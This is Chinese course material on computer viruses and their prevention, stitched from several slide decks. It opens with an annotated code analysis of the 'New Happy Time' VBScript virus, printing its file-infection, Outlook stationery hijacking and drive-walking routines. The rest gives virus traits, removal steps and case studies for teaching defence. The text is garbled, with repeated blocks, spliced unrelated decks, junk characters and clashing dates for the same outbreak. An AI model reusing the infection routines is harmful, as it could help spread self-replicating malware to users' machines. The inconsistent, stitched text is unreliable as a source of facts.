计算机病毒与防治5-4“欢乐时光”病毒实例
计算机病毒与防治课程小组
新欢乐时光代码分析
‘ 函数功能：向指定类型的指定文件追加病毒
Function KJAppendTo(FilePath,TypeStr) On Error Resume Next ' 以只读方式打开指定文件 Set ReadTemp = FSO.OpenTextFile(FilePath,1) ' 将文件内容读入到TmpStr变量中 TmpStr = ReadTemp.ReadAll ‘ 判断文件中是否存在“KJ_start()”字符串，若存在说明已经感染，退出函数；若文件长 度小于1，也退出函数。 If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then ReadTemp.Close Exit Function End If ‘ 如果传过来的类型是“htt“ ， 在文件头加上调用页面的时候加载KJ_start()函数; 在文 件尾追加html版本的加密病毒体。如果是”html” : 在文件尾追加调用页面的时候加载 KJ_start()函数和html版本的病毒体; 如果是"vbs" : 在文件尾追加vbs版本的病毒体 If TypeStr = "htt" Then ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,2) FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
计算机病毒与防治课程小组
新欢乐时光代码分析
‘功能：感染邮件部分
Function KJCreateMail() On Error Resume Next ' 如果当前执行文件是"html"的，就退出函数 If InWhere = "html" Then Exit Function End If ' 取系统盘的空白页的路径 ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" ‘ 如果存在这个文件，就向其追加病毒体 ,否则生成含有病毒体的文件 If (FSO.FileExists(ShareFile)) Then Call KJAppendTo(ShareFile,"html") Else Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText FileTemp.Close End If
计算机病毒与防治课程小组
新欢乐时光代码分析
‘函数功能：改变子目录以及盘符
Function KJChangeSub(CurrentString,LastIndexChar) ' 判断是否是根目录 If LastIndexChar = 0 Then ‘ 如果是根目录 ：如果是C:\，返回FinalyDisk盘，并将SubE置为0 ’如果不是C:\，返回将当前盘符递减1，并将SubE置为0 If Left(LCase(CurrentString),1) =< LCase("c") Then KJChangeSub = FinalyDisk & ":\" SubE = 0 Else KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" SubE = 0 End If Else ‘ 如果不是根目录，则返回上一级目录名称 KJChangeSub = Mid(CurrentString,1,LastIndexChar) End If End Function
计算机病毒与防治课程小组
新欢乐时光代码分析
新欢乐时光病毒主运行程序代码
Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,Fi nalyDisk Sub KJ_start() ' 初始化变量 KJSetDim() ' 初始化环境 KJCreateMilieu() ' 感染本地或者共享上与html所在目录 KJLikeIt() ' 通过vbs感染Outlook邮件模板 KJCreateMail() ' 进行病毒传播 KJPropagate() End Sub
计算机病毒与防治课程小组
新欢乐时光代码分析
FileTemp.Close Set FAttrib = FSO.GetFile(FilePath) FAttrib.attributes = 34 Else ReadTemp.Close Set FileTemp = FSO.OpenTextFile(FilePath,8) If TypeStr = "html" Then FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText ElseIf TypeStr = "vbs" Then FileTemp.Write vbCrLf & VbsText End If FileTemp.Close End If End Function
计算机病毒与防治课程小组
新欢乐时光代码分析
' 取得当前用户的ID和OutLook的版本 DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") ' 激活信纸功能，并感染所有信纸 WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
感染这个病毒后有两个明显的特征： a.在每个目录中都会生成folder.htt（带毒文件）和desktop.ini（目录 配置文件）； b.电脑运行速度明显变慢，在任务列表中可以看到有大量的Wscript.exe 程序在运行。
计算机病毒与防治课程小组
新欢乐时光病毒特点
新欢乐时光病毒——这个网页病毒利用微软IE的漏洞，通过感染一 些.html, .htm, .asp, .php, .jsp, .htt和.vbs等文件进行传播。 然而由于病毒的本身特性，其传播的途径也有多种： a.通过网页传播。由于病毒会感染网页文件，如果那些网站站长不小心将带毒的 网页放到网站上，用户不小心浏览了这些网页就会被病毒感染了； b.通过局域网。当本地计算机设有可写权限的共享目录，或者访问局域网上带毒 的计算机的时候就会感染病毒；对于Windows NT/2000系统，由于存在默认的管理用 共享目录，因此，管理员的疏忽也可能会造成感染。 c.通过电子邮件。如果发件人使用了带毒的网页文件作为信纸，或者信件中有带 毒的网页文件，那么，只要收件人浏览了邮件，也会被感染病毒； d.通过移动介质，如软盘、移动硬盘、光盘等。由于病毒会生成folder.htt和 desktop.ini，所以在打开移动介质或打开其文件夹的时候，就会激活并感染病毒。
合集下载
计算机病毒检查与清除
HKEY_CLASSES_ROOT\exefile\shell\open\command 将 其 键 值 改为“%1” %*； ➢ 删除主键HKEY_LOCAL_MACHINE\Software\SirCam； ➢ 删除键值 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Current Version\Run Services\Driver32； ➢ 将改回为regedit.exe。
计算机网络安全技术与应用
计算机病毒检查与清除
根据计算机病毒的特点，人们找到了许多 检测计算机病毒的方法。但是由于计算机病毒 与反病毒是互相对抗发展的，任何一种检测方 法都不可能是万能的，综合运用这些检测方法 并且在此基础上根据病毒的最新特点不断改进 或发现新的方法才能更准确地发现病毒。
ቤተ መጻሕፍቲ ባይዱ
1.1 网络病毒检查与清除方法
文 件 后 ， 重 复 上 面 2~4 步 骤 ， 然 后 将 文 件 存 盘 ， 以 清 除.doc文档中的病毒。
1.3 典型病毒清除方法
1. Sircam蠕虫病毒 2. 圣诞节病毒
3. “欢乐时光”病毒 4. “冰河”木马病毒
Sircam 蠕虫病毒
• 清空回收站，因为病毒将自身隐藏在回收站； • 删除Autoexec.bat文件中的"@win ecycledsirc32.exe"； • 恢复注册表： ➢ 将regedit.exe改名为因为该病毒关联exe文件； ➢ 打开注册表编辑器，查找主键：
4 Word 菜单命令消失。一些病毒感染系统时，会关闭 Word菜单的某些命令，以隐藏和保护自己。如 Phardera病毒在其发作时只弹出一个对话框，干扰用
户的正常操作，同时，病毒去掉“工具”菜单中的“宏”
计算机网络安全技术与应用
计算机病毒检查与清除
根据计算机病毒的特点，人们找到了许多 检测计算机病毒的方法。但是由于计算机病毒 与反病毒是互相对抗发展的，任何一种检测方 法都不可能是万能的，综合运用这些检测方法 并且在此基础上根据病毒的最新特点不断改进 或发现新的方法才能更准确地发现病毒。
ቤተ መጻሕፍቲ ባይዱ
1.1 网络病毒检查与清除方法
文 件 后 ， 重 复 上 面 2~4 步 骤 ， 然 后 将 文 件 存 盘 ， 以 清 除.doc文档中的病毒。
1.3 典型病毒清除方法
1. Sircam蠕虫病毒 2. 圣诞节病毒
3. “欢乐时光”病毒 4. “冰河”木马病毒
Sircam 蠕虫病毒
• 清空回收站，因为病毒将自身隐藏在回收站； • 删除Autoexec.bat文件中的"@win ecycledsirc32.exe"； • 恢复注册表： ➢ 将regedit.exe改名为因为该病毒关联exe文件； ➢ 打开注册表编辑器，查找主键：
4 Word 菜单命令消失。一些病毒感染系统时，会关闭 Word菜单的某些命令，以隐藏和保护自己。如 Phardera病毒在其发作时只弹出一个对话框，干扰用
户的正常操作，同时，病毒去掉“工具”菜单中的“宏”
有哪些计算机病毒的典型案例
有哪些计算机病毒的典型案例计算机病毒是一种可以通过网络或存储介质传播的恶意软件，它们可以对计算机系统造成严重的破坏。
在计算机领域，病毒是一种非常常见的安全威胁，而且它们的种类也非常多样。
接下来，我们将介绍一些典型的计算机病毒案例，以便更好地了解这些威胁。
1. Melissa病毒。
Melissa病毒是一种在1999年出现的宏病毒，它主要通过电子邮件传播。
一旦用户打开了感染了Melissa病毒的电子邮件附件，病毒就会开始自动复制并发送自己给用户的联系人。
由于它的快速传播速度，Melissa病毒曾一度引起了全球性的恐慌，造成了大量的计算机系统瘫痪。
2. ILOVEYOU病毒。
ILOVEYOU病毒是一种在2000年出现的蠕虫病毒，它通过电子邮件发送“我爱你”的主题来诱使用户打开感染文件。
一旦用户打开了附件，病毒就会开始破坏用户的文件，并且自动发送自己给用户的联系人。
ILOVEYOU病毒造成了数十亿美元的损失，成为了互联网历史上最具破坏力的病毒之一。
3. WannaCry勒索病毒。
WannaCry病毒是一种在2017年出现的勒索病毒，它利用Windows操作系统的漏洞进行传播。
一旦用户的计算机感染了WannaCry病毒，病毒就会加密用户的文件，并要求用户支付赎金才能解密。
WannaCry病毒曾一度造成了全球范围内的大规模感染，影响了包括医疗、金融在内的多个行业。
4. Zeus木马病毒。
Zeus病毒是一种银行木马病毒，它主要通过网络钓鱼和恶意软件下载器进行传播。
一旦用户的计算机感染了Zeus病毒，病毒就会窃取用户的银行账号和密码，并用于非法转账。
Zeus病毒曾造成了大量用户的财产损失，成为了银行业安全的重大威胁。
5. Stuxnet病毒。
Stuxnet病毒是一种专门针对工业控制系统的病毒，它主要通过USB设备进行传播。
一旦感染了工业控制系统，Stuxnet病毒就会破坏系统中的控制程序，导致工业设备的故障和瘫痪。
计算机病毒及其防治通用课件
木马病毒是一种隐藏在合法软件中的 恶意程序，它能够在用户不知情的情 况下，在其电脑上安装后门、收集用 户信息，甚至控制用户的电脑。
木马病毒通常通过捆绑在正常的应用 程序中或者伪装成正常软件来诱骗用 户下载和安装。一旦安装，木马病毒 就会在后台运行，监控用户的操作和 收集用户信息。
宏病毒
宏病毒是一种利用宏语言编写的计算 机病毒，它主要感染微软 Office 系 列软件中的宏脚本。
隐私泄露与安全威胁
要点一
隐私泄露
病毒会窃取用户的个人信息，如账号、密码等，造成隐私 泄露。
要点二
安全威胁
病毒会作为黑客攻击的跳板，对网络安全构成严重威胁。
经济损失与法律责任
经济损失
由于数据损坏、系统崩溃、隐私泄露等原因 ，用户需要承担巨大的经济损失。
法律责任
对于因病毒攻击而导致的损失，用户可能需 要承担相应的法律责任。
03
计算机病毒的危害与影响
数据损坏与丢失
数据损坏
计算机病毒会破坏硬盘分区表、文件 分配表等系统文件，导致数据损坏或 丢失。
数据丢失
病毒会删除或覆盖文件，导致用户无 法访问或恢复重要数据。
系统崩溃与瘫痪
系统崩溃
病毒会破坏系统核心组件，导致操作系统无法正常运行。
瘫痪网络
病毒会阻塞网络通信，导致整个网络系统瘫痪。
熊猫烧香病毒会感染电脑中的可执行文件 ，并在局域网中传播，导致系统运行缓慢 、蓝屏、死机等问题。防治熊猫烧香病毒 需要安装杀毒软件、定期更新系统补丁、 不打开未知来源的邮件和链接等措施。
案例二：勒索病毒的防治
总结词
勒索病毒是一种恶意软件，通过加密用户文件来索取赎金。
详细描述
勒索病毒通常通过电子邮件附件、恶意网站、下载软件等方式传播，感染后会对用户文件进行加密， 并要求支付赎金以解密文件。防治勒索病毒需要保持警惕，不打开未知来源的邮件和链接，及时更新 系统和杀毒软件等措施。
常见的计算机病案例分析
常见的计算机病案例分析计算机病毒是指一种能够在计算机系统中快速传播、破坏系统功能并且自我复制的恶意软件，给计算机系统和用户带来不同程度的危害。
随着计算机技术的不断发展，各种类型的计算机病毒层出不穷。
本文将对常见的计算机病毒案例进行分析，以便更好地了解计算机病毒的特点和防范措施。
一、蠕虫病毒案例分析蠕虫病毒是一种能够自我复制并在计算机网络中传播的恶意软件。
2001年，“伊洛扎病毒”（ILOVEYOU）的爆发就是蠕虫病毒的典型案例。
该病毒通过电子邮件发送，并自动复制并发送给用户的联系人。
一旦用户打开这个附件，病毒就会释放并开始传播，导致大量计算机系统瘫痪。
针对蠕虫病毒的防范措施主要包括及时更新杀毒软件和系统补丁、不随意打开陌生邮件和链接、加强用户教育等。
此外，建立健全的网络安全策略和完善的防火墙也是重要的预防措施。
二、木马病毒案例分析木马病毒是一种隐藏在合法软件中的恶意代码，通过欺骗用户而进行自我复制和传播。
2005年，“黑客之门”（Blackhole）木马病毒的出现引起了广泛的关注。
该病毒通过网络攻击获取用户终端的控制权，窃取用户的隐私信息和敏感数据。
预防木马病毒的关键是提高用户的信息安全意识和加强软件来源的可信度。
用户应避免下载未知来源的软件，及时更新操作系统和应用程序，并通过安装防病毒软件和防火墙等安全工具进行保护。
三、病毒勒索案例分析病毒勒索是指黑客利用恶意软件对计算机进行攻击，并要求用户支付“赎金”以解密或恢复文件和数据的过程。
2017年，“勒索病毒WannaCry”（WannaCry）的爆发引起了全球范围内的恶性感染。
该病毒通过利用操作系统漏洞进行攻击，并迅速传播至全球数十万台计算机。
预防病毒勒索的关键是定期备份重要数据和文件，并使用强密码对其进行保护。
此外，及时安装系统补丁和防病毒软件、禁用不必要的网络服务和端口也是必要的防范措施。
四、间谍软件案例分析间谍软件是一种监视用户计算机活动并收集用户隐私信息的恶意软件。
6.1.3计算机病毒及预防
计算机病毒 及其防治
你的计算机的有否有过以下表现？
屏幕显示出现不正常
例如出现异常图形、显示信息突然消失等。
系统运行不正常
例如系统不能启动、运行速度减慢、频繁出现死机等 现象、计算机发出怪声。
磁盘存储不正常
例如出现不正常的读写现象、系统不识别磁盘、空间 异常减少等。
文件不正常
例如文件长度出现丢失、加长等。
第 一 层 次 1 、 计 算 机 病 毒 的 定 义
第 一 层 次 1 、 计 算 机 病 毒 的 定 义 潜伏性 破坏性 隐蔽性 传染性
第 一 层 次 2 、 计 算 机 病 毒 的 特 点
非授权可执行性 隐蔽性 破坏性
计算机病毒的特 点
可触发性
传染性
表现性
潜伏性
第 一 层 次 2 、 计 算 机 病 毒 的 特 点
生物病毒
谁都不想得病
隐蔽性
肠道病原体引起， 病原体是开不见 摸不着的 可通过唾液、疱 疹液、粪便等污 染的用品传播
传染性（主
要的特点，也 是判断一个程 序是否是病毒 的根本依据）
第 一 层 次 2 、 计 算 机 病 毒 的 特 点
潜伏性
大部分的病毒感染系统之后 一般不会马上发作，它可长 期隐藏在系统中，只有在满 足其特定条件时才启动其表 现（破坏）模块。
常用的计算机病 毒防护的方法 引导 瑞星杀毒软件的 使用
2、计算机病毒的防护
（一）创设情境，频
第 一 层 次 1 、 计 算 机 病 毒 的 定 义
1、问题1：大家知道的计算机病毒有哪 些？
同学回答：熊猫烧香、欢乐时光、 QQ盗号木马等
问题2、这些计算机病毒到底是什 么？
以同桌为单位进行分组，通 过网络来查找和搜索计算机病毒 的相关信息，讨论回答。
你的计算机的有否有过以下表现？
屏幕显示出现不正常
例如出现异常图形、显示信息突然消失等。
系统运行不正常
例如系统不能启动、运行速度减慢、频繁出现死机等 现象、计算机发出怪声。
磁盘存储不正常
例如出现不正常的读写现象、系统不识别磁盘、空间 异常减少等。
文件不正常
例如文件长度出现丢失、加长等。
第 一 层 次 1 、 计 算 机 病 毒 的 定 义
第 一 层 次 1 、 计 算 机 病 毒 的 定 义 潜伏性 破坏性 隐蔽性 传染性
第 一 层 次 2 、 计 算 机 病 毒 的 特 点
非授权可执行性 隐蔽性 破坏性
计算机病毒的特 点
可触发性
传染性
表现性
潜伏性
第 一 层 次 2 、 计 算 机 病 毒 的 特 点
生物病毒
谁都不想得病
隐蔽性
肠道病原体引起， 病原体是开不见 摸不着的 可通过唾液、疱 疹液、粪便等污 染的用品传播
传染性（主
要的特点，也 是判断一个程 序是否是病毒 的根本依据）
第 一 层 次 2 、 计 算 机 病 毒 的 特 点
潜伏性
大部分的病毒感染系统之后 一般不会马上发作，它可长 期隐藏在系统中，只有在满 足其特定条件时才启动其表 现（破坏）模块。
常用的计算机病 毒防护的方法 引导 瑞星杀毒软件的 使用
2、计算机病毒的防护
（一）创设情境，频
第 一 层 次 1 、 计 算 机 病 毒 的 定 义
1、问题1：大家知道的计算机病毒有哪 些？
同学回答：熊猫烧香、欢乐时光、 QQ盗号木马等
问题2、这些计算机病毒到底是什 么？
以同桌为单位进行分组，通 过网络来查找和搜索计算机病毒 的相关信息，讨论回答。
2024年度计算机病毒与防治
计算机病毒与防治
2024/3/24
1
目录
2024/3/24
• 计算机病毒概述 • 计算机病毒原理及传播方式 • 常见计算机病毒类型及特点 • 防治策略与技术手段 • 企业级解决方案与实践案例分享 • 个人用户自我保护意识培养与教育推广
2
CHAPTER 01
计算机病毒概述
2024/3/24
3
定义与分类
根据实际需求，合理配置杀毒软件的各项参 数，提高防御效果。
18
系统漏洞修补和更新管理
及时更新操作系统和应用程序
定期更新操作系统和应用程序，修补已知漏洞， 降低被攻击的风险。
关闭不必要的端口和服务
关闭不必要的端口和服务，减少攻击面。
ABCD
2024/3/24
使用安全补丁
关注官方发布的安全补丁，及时下载并安装。
潜伏性
有些病毒像定时炸弹一样，让它什么时间发作是 预先设计好的。比如黑色星期五病毒，不到预定 时间一点都觉察不出来，等到条件具备的时候一 下子就爆炸开来，对系统进行破坏。
2024/3/24
传染性
计算机病毒不但本身具有破坏性，更有害的是具 有传染性，一旦病毒被复制或产生变种，其速度 之快令人难以预防。
影响范围
计算机病毒的影响范围非常广泛，不仅限于个人计算机和企业网络，还可能波及 到整个互联网和全球范围内的计算机系统。因此，加强计算机病毒的防范和治理 对于维护网络安全和社会稳定具有重要意义。
6
CHAPTER 02
计算机病毒原理及传播方式
2024/3/24
7
工作原理与感染过程
寄生性
计算机病毒寄生在其他程序之中，当执行这个程 序时，病毒就起破坏作用，而在未启动这个程序 之前，它是不易被人发觉的。
2024/3/24
1
目录
2024/3/24
• 计算机病毒概述 • 计算机病毒原理及传播方式 • 常见计算机病毒类型及特点 • 防治策略与技术手段 • 企业级解决方案与实践案例分享 • 个人用户自我保护意识培养与教育推广
2
CHAPTER 01
计算机病毒概述
2024/3/24
3
定义与分类
根据实际需求，合理配置杀毒软件的各项参 数，提高防御效果。
18
系统漏洞修补和更新管理
及时更新操作系统和应用程序
定期更新操作系统和应用程序，修补已知漏洞， 降低被攻击的风险。
关闭不必要的端口和服务
关闭不必要的端口和服务，减少攻击面。
ABCD
2024/3/24
使用安全补丁
关注官方发布的安全补丁，及时下载并安装。
潜伏性
有些病毒像定时炸弹一样，让它什么时间发作是 预先设计好的。比如黑色星期五病毒，不到预定 时间一点都觉察不出来，等到条件具备的时候一 下子就爆炸开来，对系统进行破坏。
2024/3/24
传染性
计算机病毒不但本身具有破坏性，更有害的是具 有传染性，一旦病毒被复制或产生变种，其速度 之快令人难以预防。
影响范围
计算机病毒的影响范围非常广泛，不仅限于个人计算机和企业网络，还可能波及 到整个互联网和全球范围内的计算机系统。因此，加强计算机病毒的防范和治理 对于维护网络安全和社会稳定具有重要意义。
6
CHAPTER 02
计算机病毒原理及传播方式
2024/3/24
7
工作原理与感染过程
寄生性
计算机病毒寄生在其他程序之中，当执行这个程 序时，病毒就起破坏作用，而在未启动这个程序 之前，它是不易被人发觉的。
计算机病毒与防治通用课件
2
不随意打开未知来源的邮件、链接或下载未知来 源的文件，以防病毒入侵。
3
定期检查计算机的安全设置，如防火墙、浏览器 安全设置等，确保其安全可靠。
定期升级操作系统和应用程序
01
定期升级操作系统和应用程序，以获取最新的安全 补丁和漏洞修复。
02
在进行系统或应用程序升级时，应选择官方渠道下 载，以防被恶意软件感染。
计算机病毒与防治通用课件
目 录
• 计算机病毒概述 • 计算机病毒的类型与传播途径 • 计算机病毒的防治方法与技术 • 计算机病毒的预防措施与建议 • 计算机病毒案例分析
contents
01
计算机病毒概述
计算机病毒的定义
计算机病毒
指在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且 能够自我复制的一组计算机指令或者程序代码。
传染性
计算机病毒可以通过各种途径从被感染的计算机传染到健 康的计算机上，并通过网络迅速传播。
隐蔽性
计算机病毒具有很强的隐蔽性，有的可以通过病毒软件检 查出来，有的根本就查不出来，有的时隐时现、变化无常， 这类病毒处理起来通常很困难。
计算机病毒的历史与现状
历史
计算机病毒的起源可以追溯到上世纪 60年代，但直到80年代才开始广泛 传播。
计算机病毒不是生物病毒
计算机病毒只存在于计算机系统，不能在人与人之间传播，而生物病毒能够在 人与人之间传播。
计算机病毒的特点
寄生性
计算机病毒寄生在其他程序之中，当这个程序被执行时， 病毒就被激活。
破坏性
计算机病毒具有不同程度的破坏性，轻则影响计算机运行 速度，重则破坏数据、删除文件、甚至导致整个系统崩溃。
使用加密技术对共享数据进行保护， 以确保其安全可靠。
《计算机病毒及防治》PPT课件
3 . 表现部分
是病毒间差异最大的部分，前两部分是 为这部分服务的。它破坏被传染系统或者 在被传染系统的设备上表现出特定的现象。 大部分病毒都是在一定条件下才会触发其 表现部分的。
计算机病毒的传染过程
计算机病毒的传染过程 1）驻入内存。 2）判断传染条件。 3）传染。
返回本节
计算机病毒的触发机制
INT 09H键盘输入中断，病毒用于监视用 户击键情况。
INT 10H屏幕输入输出中断，一些病毒用 于在屏幕上显示字符图形表现自己。
INT 13H磁盘输入输出中断，引导型病毒 用于传染病毒和格式化磁盘。
INT 21H DOS功能调用，包含了DOS的大部 分功能，已发现的绝大多数文件型病毒修改 INT 21H中断， 因此也成为防 病毒的重点监 视部位。
加密技术处理 ： （1）对程序段动态加密 （2）对显示信息加密 （3）对宿主程序段加密
返回本节
16.1.7 计算机病毒的破坏行为
（1）攻击系统数据区 （2）攻击文件 （3）攻击内存 （4）干扰系统运行，使运行速度下降 （5）干扰键盘、喇叭或屏幕 （6）攻击CMOS （7）干扰打印机 （8）网络病毒破坏网络系统
5．启动触发：病毒对机器的启动次数计数， 并将此值作为触发条件称为启动触发。
6．访问磁盘次数触发：病毒对磁盘I/O访 问的次数进行计数，以预定次数做触发条 件叫访问磁盘次数触发。
7．调用中断功能触发：病毒对中断调用次数 计数，以预定次数做触发条件。
8．CPU型号/主板型号触发：病毒能识别运 行环境的CPU型号/主板型号，以预定CPU型 号/主板型号做触发条件， 这 种病毒的触发 方式奇特罕见。
返回本节
计算机病毒及防范ppt课件
第5章 计算机网络病毒及其防范
第5章 计算机网络病毒及其防范
第5章 计算机网络病毒及其防范
5.1.3 计算机病毒的分类 目前出现的计算机病毒种类繁多，同时，一种病
毒也可能发生多种变形。根据计算机病毒的特征和表 现的不同，计算机病毒有多种分类方法。
1. 按传染方式分类 传染是计算机病毒的一个主要特征。计算机病毒 按其传染方式可分为三种类型，分别是引导型、文件 型和混合型病毒。
第5章 计算机网络病毒及其防范
(2) 链接型计算机病毒是将计算机病毒程序代码链 接到被传染的宿主程序代码的首部、中部或尾部，对 原来的程序不做修改。这种病毒较为常见，大部分文 件型病毒都属于这一类。
(3) 转储型计算机病毒是指计算机病毒将原合法程 序的代码转移到存储介质的其他部位，而病毒代码占 据原合法程序的位置。一旦这种病毒感染了一个文件， 就很难被发现，隐蔽性较好。
第5章 计算机网络病毒及其防范
随着计算机技术的发展，有越来越多的病毒出现。 1995年在北美地区流行着一种“宏”病毒，它不感染.exe 和.com文件，只感染文档文件。与传统病毒相比，宏病毒 编写更为简单。1996年12月，宏病毒正式在我国出现，病 毒名是“Taiwan No.1”。它是在文件型和引导型病毒的基 础上发展出来的，它不仅可由磁盘传播，还可由Internet 上E-mail和下载文件传播，传播速度快，可以在多平台上 交叉感染，危害极大。据专家估计，宏病毒的感染率高达 40%以上，即每发现100个病毒就有40个是宏病毒。
第5章 计算机网络病毒及其防范
1988年11月2日晚，美国康尔大学研究生罗特·莫里斯 (R.T.Morris)利用计算机系统存在的弱点，将计算机蠕虫 病毒投放到网络中，使该病毒程序迅速扩展。至第二天凌 晨，病毒从美国东海岸传到西海岸，造成了大批计算机瘫 痪，遭受攻击的包括五个计算机中心和12个地区结点，连 接着政府、大学、研究所和拥有政府合同的250 000台计 算机，直接经济损失达9600万美元。这是自计算机出现以 来最严重的一次计算机病毒侵袭事件，给全世界带来巨大 的震动，引起世界各国的广泛关注。
计算机病毒及其防治通用课件
VS
启动区病毒能够破坏系统引导记录和 硬盘分区表等关键数据，导致系统无 法正常启动和运行。同时，启动区病 毒还可能通过感染其他磁盘来传播给 其他计算机。
玩笑病毒
玩笑病毒是一种以恶作剧为目的的计算机病 毒，它通常以有趣的名称和图标来吸引用户 下载和运行。
玩笑病毒可能会对系统进行一些无害的破坏 或恶作剧操作，例如修改桌面背景、弹出广 告窗口等。虽然玩笑病毒不会对系统造成严 重损害，但它可能会浪费用户的时间和精力
02
计算机病毒的类型与传播途径
蠕虫病毒
蠕虫病毒是一种常见的计算机病毒， 它通过计算机网络进行传播，能够在 网络中自动复制，并感染其他计算机 。
蠕虫病毒通常利用计算机系统中的漏 洞或电子邮件附件等途径进行传播， 一旦感染，会对系统资源造成严重消 耗，甚至导致网络拥堵和系统崩溃。
木马病毒
木马病毒是一种隐藏在正常程序中的 恶意软件，用户在不知情的情况下， 在电脑上安装后门、收集用户信息的 软件。
使用强密码
为计算机和在线账户设置复杂且独特的密码，并定期更换密码。
谨慎打开未知链接和附件
不要轻易打开来自陌生人的链接或下载未知来源的附件，以免遭受 恶意软件的攻击。
使用安全软件限制病毒的传播
安装防病毒软件
在计算机上安装可靠的防病毒软件，并定期更新病毒库。
配置安全软件
合理配置防病毒软件，以便其能够更好地检测和清除病毒。
勒索”病毒的加密算法难以破解，给用户带来极大的损失。
04
针对该病毒，用户应加强网络安全意识，不轻易打开未知来源的邮件 和下载不明链接，定期备份重要数据。
“蠕虫”病毒案例分析
01 02 03 04
蠕虫”病毒是一种自我复制的恶意程序，它会不断复制自身并在网络 中进行传播，占用网络资源导致网络拥堵甚至瘫痪。